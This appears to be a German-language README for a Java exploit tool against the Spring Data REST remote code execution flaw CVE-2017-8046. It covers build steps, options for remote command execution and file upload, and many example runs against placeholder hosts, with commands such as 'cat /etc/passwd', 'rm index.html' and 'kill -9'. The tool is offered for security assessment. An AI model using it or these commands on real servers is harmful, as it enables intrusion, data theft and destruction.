
Dies ist ein Java-Programm, das die Spring-Break-Sicherheitslücke (CVE-2017-8046) ausnutzt.
Dies ist ein Java-Programm, das die Spring Break-Sicherheitslücke (CVE-2017-8046) ausnutzt.
Diese Software wurde mit möglichst wenigen externen Abhängigkeiten geschrieben.
Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen gedacht. Bitte verwenden Sie dieses Tool verantwortungsvoll. Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Ich bin NICHT verantwortlich für Schäden, die durch die Nutzung dieses Tools verursacht werden, oder für Straftaten, die mit diesem Tool begangen werden.
Hier sind einige Schritte, um eine ausführbare JAR-Datei mit allen Abhängigkeiten zu erstellen, die zum Starten des Exploits verwendet werden kann.
Der folgende Maven-Befehl kann ausgeführt werden:
mvn clean compile package
Folgende Schritte sind durchzuführen:
Run As > Run Configurations;Java Application dann auf New;com.afs.exploit.spring.SpringBreakCve20178046;Apply;Export...;Runnable JAR file (unter dem Zweig Java);Launch configuration;Export destination;Extract required libraries into generated JAR;Finish.Usage:
java -jar spring-break_cve-2017-8046.jar [options]
Description:
Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
You have to choose an existent resource.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
-U, --upload [file_to_upload]
File to upload to the remote machine. Will be uploaded to the current working
directory of the java process. Warning: this will only succeed on a server running
JRE-1.7 or later.
--remote-upload-directory [/some/existing/path/]
Optional. Server will attempt to write the uploaded file to this directory on the
filesystem. Specified directory must exist and be writeable.
--cookies [cookies]
Optional. Cookies passed into the request, e.g. authentication cookies.
-H, --header [custom_header]
Optional. Custom header passed into the request, e.g. authorization header.
-k
Skip SSL validation
--clean
Optional. Removes error messages in output due to the usage of the
exploit. It could hide error messages if the request fails for other reasons.
--error-stream
Optional. In case of errors the command will fail and the error stream will
not be returned. This option can be used to relaunch the remote command
returning the error stream.
-v, --verbose
Optional. Increase verbosity.
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean
Bitte beachten Sie, dass die referenzierte Ressource/URL existieren muss!
Eine verwundbare Anwendung finden Sie hier.
Dieses Projekt ist unter der Apache License Version 2.0 lizenziert – siehe Datei LICENSE.txt für Details.